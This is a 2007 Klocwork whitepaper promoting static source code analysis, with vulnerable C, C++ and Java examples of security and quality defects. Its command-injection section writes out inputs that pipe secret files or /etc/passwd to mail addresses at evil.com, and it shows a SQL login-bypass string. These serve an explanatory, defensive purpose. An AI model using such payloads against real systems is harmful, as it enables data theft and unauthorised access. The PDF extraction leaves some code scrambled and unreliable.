When, Why, and How to Leverage Source Code Analysis Tools

When, Why, and How to Leverage
Source Code Analysis Tools
Finding critical bugs in C, C++ and Java code
Gwyn Fisher · CTO · Klocwork
Whitepaper · 10 October 2007
Introduction
Automated source code analysis is technology aimed at locating and describing
areas of weakness in source code. Those weaknesses might be security
vulnerabilities, logic errors, implementation defects, concurrency violations, rare
boundary conditions, or many other types of problem-causing code.
The name of the associated research field is static analysis. This is
differentiated from more traditional dynamic analysis techniques such as unit
or penetration testing by the fact that the work is performed at build time
using only the source code of the program or module in question. The results
reported are therefore generated from a complete view of every possible
execution path, rather than some aspect of a necessarily limited observed
runtime behavior.
Perhaps the most obvious question confronting any new
developer-facing technology is: why?
»»
»»
»»
Why should developers use a new tool when they
already have so many to choose from?
What makes this technology compelling enough to
make me want to add it to my already bloated
build chain?
And what does it do, anyway?
This paper will answer these questions, and more. But for
the moment just consider the fact that at time of writing, 80%
of the Fortune 500 have already deployed, or are currently
engaged in deploying, some kind of automated source code
analysis. The reasons for doing so can be stated in as many
ways as there are people answering the question, but the
basic principle can be found in all of these deployments:
»»
Tell me what’s wrong with my code before I ship it –
don’t let me be the guy responsible for shipping a
killer vulnerability or bug into the wild.
There are other compelling reasons, such as:
»»
»»
»»
Make my existing processes for code review more
effective through automation
Enhance my existing QA resource with 100%
coverage of all boundary conditions
Help me protect my brand as we go to market with
new products
But the bottom line remains the capability of this technology
to afford developers the ability to scrub their code of
obvious and not-so-obvious weaknesses as they work,
before they submit their code for check-in and more formal
down-stream validation procedures.
//introduction to the technology
The process of automated source code analysis involves
building a rich representation or model of the provided
code (akin to a compilation phase), and then simulating
all possible execution paths through that model, mapping
out the flow of logic on those paths coupled with how and
where data objects are created, used and destroyed.
Once the projection of code paths and the mapping of data
objects are available, we can look for anomalous conditions
that either will or might potentially cause exploitable
vulnerabilities, execution failure, or data corruption at runtime.
There are two major families of checking capability typical
to this type of analysis: abstract syntax tree (AST) validation
and code path analysis. The former case is most frequently
applied to validation of the basic syntax and structure of
code, whereas the latter is used for more complete types
of analysis that depend on understanding the state of a
program’s data objects at any particular point on a code
execution path.
Abstract Syntax Trees
An abstract syntax tree, or AST for short, is simply a treestructured representation of the source code as might
be typically generated by the preliminary parsing stages
of a compiler. This tree contains a rich breakdown of the
structure of the code in a non-ambiguous manner, allowing
for simple searches to be performed for anomalous syntax.
Consider the example of an organization wishing to enforce
a set of corporate coding standards. Stated in the standard
is the basic requirement for the use of a compound
statement block rather than single statements as the body
When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 1
In this case, it is obvious from manual inspection that the
variable “ptr” can assume a NULL value whenever the
variable “x” is odd, and that this condition will cause an
unavoidable zero-page dereference.
of a loop (e.g. a for-loop). In this case, an AST check is
what would be appropriate:
incorrect
for( i - 0; i < 10; i++ )
doSomething( );
correct
for( i - 0; i < 10; i++ ) {
doSomething();
}
Attempting to find a bug of this type using AST scanning,
however, is seriously non-trivial. Consider the (simplified, for
clarity) AST that would be created from that snippet of code:
In this example, the (simplified, for clarity) AST for the
incorrect case would conceptually appear as follows:
Statement Block
If-statement
Check-Expression
Binary-operator &
x
1
True-Branch
Expression statement
Assigment-operator
ptr
0
Expression-statement
Assignment-operator Dereference-pointer - ptr
1
For-loop
Statement
doSomething()
In contrast to which, the AST for the correct case would
conceptually appear as follows:
For-loop
Statement block
Statement
doSomething()
As you can imagine, constructing checkers that look for
this type of standards violation is quite straightforward and
depends solely on the syntax of the code itself and not on
the runtime behavior, or state, of that code.
Essentially, the checker would be instructed to find all
instances of “For-loop” nodes that contain a “Statement” node
as an immediate descendant, and to flag them as violations.
Similarly, AST checkers can easily be constructed to
enforce standards around naming conventions, function call
restrictions (e.g. unsafe library checks), etc. Anything that can
be inferred from the code without requiring knowledge of that
code’s runtime behavior is typically a target for AST checking.
Given the simple nature of what AST checkers can actually
do, there are many tools that offer this type of checking
for various different languages, some of which are freely
available from the open source community, for example
PMD for Java. Several of these tools use XPath, or an
XPath-derived grammar to define the conditions that the
checkers look for, and customers should consider adopting
solutions that provide extensibility mechanisms for creating
AST checkers. This type of checking is relatively simple
to do, and constructing new checkers of this type for
corporate coding standards or industry recommended best
practice is a common endeavor.
Code Path Analysis
Consider now a more complex example. This time, instead
of looking for style violations, we wish to check whether an
attempted dereference of a pointer should be expected to
succeed or fail:
In this case, there is no obvious tree search or simple node
enumeration that could cover the attempted, and at least
occasionally illegal, dereferencing of “ptr” in anything like
a reasonably generalized form. So for cases such as this,
it is necessary to take a step beyond simply searching
for patterns of syntax, and to analyze the lifecycle of data
objects as they appear and are used within a control path’s
flow of execution.
Code path analysis tracks objects within a code execution
path and allows checkers to validate the legality or
cleanliness of the data as it gets used. In the example
above, the AST that is built for simple types of style and
syntax checks is rewritten in a form that allows an answer
to be generated for the following question:
»»
Is there a valid, reachable code path on which the
assignment of NULL is followed by an attempted
dereference without an intermediate check?
Consider the following example of control flow and data
object usage:
void
}
f(int x, int y) {
int value, *p, *q;
p = (x & 1) ? NULL : &value;
if( p ) *p = 1;
q = p;
if( y & 1 ) *q = 1;
if( x & 1)
ptr - NULL;
*ptr - 1,;
When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 2
In this instance we will unavoidably crash whenever both
‘x’ and ‘y’ are odd. Finding this situation requires a rich
representation that reflects the start, or trigger, of a given
code path, any propagation or aliasing that occurs during
the execution of that code path, and the end, or sink, of the
code path.
In our example, the trigger for the code path that interests
us is the assignment of a NULL value to a pointer:
p = (x & 1) ? NULL : &value;
Once this assignment is made, we can reasonably begin
looking along the ensuing reachable code paths to check
for propagation and/or illegal sink conditions. In our
example, the first potential sink occurs using the variable ‘p’:
if( p ) *p = 1;
As the value of the pointer is checked for legality, however,
this isn’t an illegal sink condition and so can be ignored.
Next, we have propagation:
q = p;
From this point forwards in the reachable code path set,
references to ‘q’ are as valid as references to ‘p’, as they
are now aliases of each other (until otherwise assigned).
Knowing this, the system can again validate a potential sink:
if( y & 1 ) *q = 1;
In this case, it is entirely possible to follow a legal code path
all the way from the assignment of NULL through to the
use of that NULL in a crash-causing context, and so a path
analysis defect will be reported.
Obviously this is only one type of the many different
questions that can be answered using this type of analysis,
such as:
»»
»»
»»
»»
»»
Is this newly created object released before all aliases
to it are removed from scope?
Is this data object ever range-checked before being
passed to an OS function?
Is this string ever checked for special characters
before being submitted as a SQL query?
Will this copy operation result in a buffer overflow?
Is it safe to call this function at this time?
By following code execution paths, either forward from a
trigger event towards a target scenario, or backwards
from a trigger event towards a required initialization, we can
determine the answers to these questions and
provide error reports when the target scenario or
initialization either does or does not occur as expected.
enable the location of flaws such as memory leaks, invalid
pointer dereferences, unsafe or tainted data propagation,
concurrency violations, and many other types of problemcausing conditions as described in the next section.
// What type of issues can be found?
In this section, we will walk through a number of examples
of problems that can be identified using modern static
analysis tools, showing how they occur and what can
happen if they are not remedied before shipment. Whilst
many more types of weakness can be found using
Klocwork’s tools, these examples should give the reader a
firm grounding in what a good static analysis suite can do,
regardless of the vendor.
Note that the examples given here are shown in a variety
of C/C++ and Java. Where appropriate, the relevant
capabilities within the product are available in all supported
languages, however.
Security vulnerabilities
Traditionally of interest to developers working on consumerfacing applications, security is becoming more and more
critical to developers in all types of environments, even
those that have until recently considered security to be a
non-issue. Some of the more important areas of security
that can be found with source code analysis are:
»»
»»
»»
»»
»»
Denial of service
SQL injection
Buffer overflow
Cross-site scripting (XSS)
Process/file injection
Denial of service
As could be guessed from the name, this type of
vulnerability reflects a desire on the part of an attacker to
deny access to a service offered by one or more processes
under attack. This can be caused many different ways, from
actually crashing the process, to choking the service with
an inordinate number of requests, to resource constraining
the service to the point of it becoming useless, etc. Attack
vectors that are exposed to such approaches can often
be spotted in code that is not created to be defensive,
but rather makes naïve assumptions about the operating
environment within which it will be running.
Consider the following example:
public void f(String name, Properties props)
throws IOException
{
InputStream is;
is = getClass().getClassLoader().getResourceAsStream(name);
if( is != null ) {
props.load(is);
}
}
This type of capability is required to do sophisticated
analysis of source code and customers should look for
tools that provide comprehensive code path analysis to
When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 3
This simple function can easily cause a resource constraint
within a server that will eventually lead to a DoS condition.
Every time this function is called a new instance of the named
properties collection will be created and will not be closed.
Call this function within the main request handler of a service
and it won’t take long for the service to crawl to a halt.
Likewise, creating resources using data that has not been
validated (a practice known as taint propagation) can
quickly choke a service:
public
{
}
void doGet(HttpServletRequest req,HttpServletResponse res)
String val = req.getParameter(“size”);
Map props = new HashMap(Integer.parseInt(val));
…
Here the tainted data, as retrieved from an incoming HTTP
parameter, is passed without validation into the constructor
for a Collection object, an operation that can easily be
attacked to cause the service to shutdown.
Note that while this example uses a Java web servlet
request for demonstration purposes, many DoS attack
vectors exist within process boundary conditions that are
normally entirely within the control of the developer writing
the application. This tends to lead to assumptions being
made about the data that will be marshaled across that
boundary, allowing an attacker to disrupt service simply by
placing unexpected ranges of data on what is supposed to
be a clean wire, as shown in this example:
void readDataFromWire(unsigned char* stream)
{
int bytes = (int)(*stream++);
unsigned char* buffer = (unsigned char*)malloc(bytes);
}
…
SELECT ID FROM USERS WHERE NAME=’x’ AND PWD=’x’ OR ‘1’ = ‘1’;
If this is compounded by the login simply checking for
success or failure of this statement (as opposed to counting
result rows), the attacker is quickly granted whatever
access rights might be available from whatever user records
are processed by the application. In applications where the
first row of the user table is reserved for the super-user, the
application could easily be completely compromised.
There are many other forms of attack possible using
applications that are not careful in their treatment of
substitution strings within database statements. Luckily, a
large percentage of the mistakes most commonly made
in preparing such statements can be found by checking
strings that are being provided to database functions for
taint, or the lack thereof:
public void query(HttpServletRequest req, Connection conn)
throws Exception
{
Statement stmt = conn.createStatement();
String val = req.getParameter(“User”);
stmt.executeQuery(“select * from users where user=’” +
val + “’;”);
}
In this example, the tainted input value “val” was retrieved
from the incoming request and substituted into a database
statement without first having been scrubbed for characters
outside of the alphanumeric range. Any such usage is
subject to attack, and will cause warnings to be generated
by the tool.
Buffer overflow
Without checking the value of the ‘bytes’ variable, there is
no way to guarantee that the subsequent allocation won’t
cause a failure, or potentially worse a significant constraint
on available memory for other parts of the process.
SQL injection
SQL-based attacks focus on sloppily-constructed queries
that can result in the attacker being able to completely
compromise the underlying database security model.
Consider the following example of a login validation query:
SELECT ID FROM USERS WHERE NAME=’user’ AND PWD=’password’;
Incoming parameters from the user are substituted into the
expression and the query is executed. Consider a set of
parameters provided by an attacker:
NAME: x
PWD: x’ OR ‘1’ = ‘1
That bizarre-looking password, if not appropriately filtered
by the application, results in the login validation query
performing a retrieval of every ID in the system:
Buffers or arrays that are improperly handled can potentially
lead to process corruption and even the execution of
arbitrary code injected by an attacker. Consider the
following example:
void
{
}
f(unsigned char* stream)
unsigned char buf[32];
memcpy(buf, stream + 1, *stream);
…
In this trivial case, the author has made a fundamental
assumption about the cleanliness of the incoming data,
coupled with an architectural assumption about the range
of that data. If this function is used in an environment open
to attack – for example to process marshaled data from
another process or server, or even from a file that is subject
to injection on the user’s system – the attacker could cause
considerable stack corruption simply by exploiting the fact
that the code will happily copy up to 255 bytes into a buffer
able to hold only 32. A particularly accomplished attacker
When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 4
could use this exploit to inject carefully crafted code that
effectively hijacks the process by inserting dummy stack
content and overwriting one or more call frames.
A recent, high profile security breach in Microsoft Windows
was caused by exactly this scenario. The “animated cursor
vulnerability” as it was known was caused by a section of
code that effectively performed the following operations:
HICON LoadAniIcon(…)
{
…
ANIHEADER myAniHeader;
memcpy(&myAniHeader, untrustedData->data,
untrustedData->length);
…
}
Given sufficient time, motivation and resource, attackers
were able to completely compromise target systems
simply by encouraging users to load and use carefully
crafted animated cursor files. Those cursor files contained
structures guaranteed to cause this operation to overflow
available space, to therefore corrupt the stack, and to place
on the resulting stack a frame intended to transfer control to
functions open to compromise.
Cross-site scripting (XSS)
One of the first restrictions placed on JavaScript in early
browser versions was to build a wall around page content
so that scripts executing within a frame served by one site
could not access content of frames served by another site.
Cross-site scripting, therefore, is an attack pattern that
focuses on enabling script from one site (the attacker’s site)
to access content from another site (e.g. the user’s bank
account site). In order to do this, the user must typically visit
either a malicious or a naïve web site, obviously, although
many experiments in social engineering have shown that
users can be funneled towards even the most outlandish of
sites quite readily.
In terms of physical manifestation, the most common form
of XSS requires unfiltered HTML to be reflected back to the
user from a server request. One common early attack vector
was search engine result pages, which typically reflected the
user’s query term in the title of the page. Without filtering,
this reflected query term could easily contain HTML tags that
were not correctly encoded and will therefore be interpreted
as valid HTML by the receiving browser.
In essence, any reflection of unfiltered incoming data will
trigger a warning from the tool, as the number and variety of
exploits resulting from XSS grows every day. For example:
public void doGet(HttpServletRequest req, HttpServletResponse res)
{
String title = req.getParameter(“searchTerm”);
res.getOutputStream().write(title.getBytes(“UTF-8”));
}
Other manifestations of XSS revolve around the persistent
storage of unfiltered user input that is later used to provide
response content. This is a more difficult type of XSS to
diagnose, as the attack pattern depends not only on a
user’s unfiltered input being stored, but on that stored
tainted data being made available to every user from that
point onwards. Naïve forum software packages were
particularly susceptible to this attack pattern in the early
days of the web, but in essence any application that stores
incoming unfiltered web data in a database (or file) and then
reflects that stored data back to the user at a later date is
vulnerable to this persistent form of XSS. Due to this attack
pattern being so destructive if exploited, the tool triggers a
warning whenever unfiltered data is retrieved from persistent
storage and forwarded to the user.
Process or file injection
Of particular value to attackers, and therefore particularly to be
avoided by authors, are attack vectors that allow the modification
of system commands and/or system files. Performing process
creation using tainted input, or creating files using tainted names
or locations are the most prevalent mistakes made.
Consider the following:
void doListing(char* name)
{
char command[256];
if( strlen(name) < 250 )
{
sprintf(command, “ls %s”, name);
system(command);
}
}
In this example, the author has left themselves open to
malicious attack by not scrubbing the incoming file name
before appending it to an innocuous-looking command.
Consider input that gets appended by this function
without further processing to the “ls” command such as:
-R / | grep secret | mail alice@evil.com
or
/dev/null | cat /etc/passwd | awk –F: ‘{print $1}’ | mail brad@evil.com
In general, any exit point to the underlying OS that uses
either a command or filename must be validated for special
characters prior to the call being placed. Failure to do so may
well result in catastrophic results for the operating environment.
Another example shows a file-specific attack vector:
public void doPost(HttpServletRequest req, HttpServletResponse resp)
{
String loc = req.getParameter(“name”);
unpackFilesTo(loc, req.getInputStream());
}
private void unpackFilesTo(String loc, InputStream data)
{
File dir = new File(“./unpacked/”, loc);
…
}
When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 5
In this example, a potentially tainted string is used to
construct a relative path name. Unfortunately for the author,
the File constructor used here places no restriction on the
use of “../” being a path element, thus leaving this application
wide open to arbitrary file creation and/or overwrite.
Implementation defects
Regardless of the application being developed, implementation
defects that escape into the wild have significant impact
on the product being deployed. This could range from
increased support costs to ongoing brand criticism to bottom
line impact from inventory reversal. Releasing a quality
product is everybody’s goal, and static analysis tools can help
significantly in bringing that product to market. Some of the
more important areas of quality and ongoing maintenance are:
»»
»»
»»
»»
Memory management; leaks, using released memory, etc.
NULL pointer dereference / exception
Array bounds violations
Concurrency flaws and deadlocks
Memory management mistakes
Memory allocation and the correct releasing of that memory
is a major source of defects, particularly in C and C++
code. Static analysis is well applied in this area, due to
comprehensive coverage of code paths that can result in
rare boundary conditions being signaled that might never be
found using traditional runtime profiling tools.
void f(…)
{
char* p = (char*)malloc(32);
char* q = p;
/* Use of unchecked allocation, might well be NULL */
strcpy(p, “hello world”);
/* Release the memory by freeing an alias */
free(q);
/* Attempted use of already released memory */ strcpy(p, “not good”);
free(p);
}
Comprehensive static analysis tools should be able to track
allocations and aliases of allocated memory to ensure that
all allocations are released, that code paths do not attempt
to make use of released memory, and that memory objects
are not released twice.
NULL pointer dereference
Defects involving NULL pointers are as old as programming
itself, and still as prevalent today as in any time before.
We all understand what NULL pointers can do, and we all
spend time looking for them and dealing with the aftereffects of their being found in the wild. But consider the
following example coding pattern that is fairly prevalent in
even well-known and modern code bases:
void f(char* ptr)
{
if( *ptr && ptr )
…
}
Or perhaps a Java example – just because there
aren’t pointers in the language doesn’t mean you can’t
dereference a NULL object reference:
public void f(String str)
{
if( str.length() == 0 || str == null )
return;
…
}
Functions that return NULL under aberrant conditions,
and whose returned values are later de-referenced, are
particularly difficult to diagnose. If the static analyzer
is able to consider every potential code path, however
unlikely, even these rare boundary conditions are found and
reported.
Array bounds violations
Accessing arrays out of bounds is an incredibly common
mistake, even by senior developers. Consider the following
example from code written by a vendor in support of their
device under Linux (details obscured):
int f()
{
struct devinfo* dev[8];
int i;
get_device_info(dev, 8);
for( i = 0; dev[i] && (i < 8); i++ )
{
…
}
}
In many instances, perhaps the majority of the time, this
code will run without hiccup. But eventually it is guaranteed
to cause a bus fault or page violation based on the index
check being performed after that index is used to access
the ‘dev’ array.
Concurrency violations
With the trend towards more and more multi-core designs
at the chip level, developers are increasingly being called
upon to create threaded, or at least thread-aware, software.
This places additional burden in terms of understanding
how certain OS calls interact with locks that can cause
threads to hang, and potentially to deadlock two or more
threads in a process.
Only a handful of tools, such as the ones provided by
Klocwork, are able to apply validations in the area of
concurrency, such as ensuring that threads holding locks
do not attempt to suspend or halt themselves, that locks
are correctly released, and that lock holders do not attempt
real-time pausing activities.
When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 6
// Summary
For example:
pthread_mutex_t lock;
void f()
{
pthread_mutex_lock(&lock);
sleep(30000);
pthread_mutex_unlock(&lock);
}
In this pathological example, all threads requiring access to
the “lock” mutex would be deadlocked for 30s waiting for
this segment to unlock.
Worse yet, the following example shows a never-released lock:
void
{
}
f()
pthread_mutex_lock(&lock);
switch( op() )
{
case 0: return;
default: break;
}
pthread_mutex_unlock(&lock);
As a developer considering using automated source code
analysis, or a development manager considering providing
such analysis tools for a group of coders, it should be
obvious from the previous sections of this document what
kind of problems can found and how this might apply in
day-to-day situations. In addition to what is described here,
many other types of problems can be found by Klocwork’s
tools, including additional types of security or quality
defects, locating dead code, incomplete or redundant
header inclusion, architectural coherence, metrics violations,
and many others.
Who wants to be the person on the hot seat when a
critical vulnerability is exploited in the field, or when a
coding mistake causes an inventory turnaround and costs
your company serious money? Avoid that exposure by
performing the most rigorous form of automated code
review possible today, and do it on your desktop at the
same time as you build your code.
Klocwork your source code and feel confident that you’re
checking in the most secure and defect-free code you’ve
ever created.
In the case where the function “op” returns zero, the calling
thread will maintain the mutex on return. Assuming this lock
is being used for task scheduling or other typical server
activities, the obvious result is a hung system.
Another aspect of concurrency is concurrent modification
of data objects. The following example shows a Java
Collection operation that will be flagged as illegal:
public void f(Collection coll)
{
for( Iterator it = coll.iterator(); iter.hasNext(); )
{
String el = (String)it.next();
if( el.startsWith(“/”) )
coll.remove(el);
}
}
In fact, this operation is illegal even in a single threaded
environment as it violates a basic contract within the
Collections framework, but in a multi-threaded environment
the likelihood of this causing a data corrupting problem
within the Collection itself is vastly increased.
When, Why and How to Leverage Source Code Analysis Tools · A Klocwork Whitepaper · 7
// About
About the Author
Gwyn Fisher is the CTO of Klocwork and is responsible
for guiding the company’s technical direction and strategy.
With nearly 20 years of global technology experience,
Gwyn brings a valuable combination of vision, experience,
and direct insight into the developer perspective. With
a background in formal grammars and computational
linguistics, Gwyn has spent much of his career working in
the search and natural language domains, holding senior
executive positions with companies like Hummingbird,
Fulcrum Technologies, PC DOCS and LumaPath. At
Klocwork, Gwyn has returned to his original passion,
compiler theory, and is leveraging his experience and
knowledge of the developer mindset to move the practical
domain of static analysis to the next level.
About Klocwork
Klocwork is an enterprise software company providing
automated source code analysis products that automate
security vulnerability and quality risk assessment,
remediation and measurement for C, C++ and Java
software. More than 200 organizations have integrated
Klocwork’s automated source code analysis tools into their
development process, thereby:
»»
»»
»»
Reducing risk by assuring their code is free of
mission-critical flaws
Reducing cost by catching issues early in the
development cycle
Freeing developers to focus on what they do
best - innovate
Contact Klocwork for more information at www.klocwork.com
or register for a free trial on your code today.
© Copyright Klocwork Inc. 2008 · All Rights Reserved
In the United States:
8 New England Executive Park
Suite 180
Burlington MA 01803
In Canada:
30 Edgewater Street
Suite 114
Ottawa ON K2L 1V8
1-866-556-2967
1-866-KLOCWORK
www.klocwork.com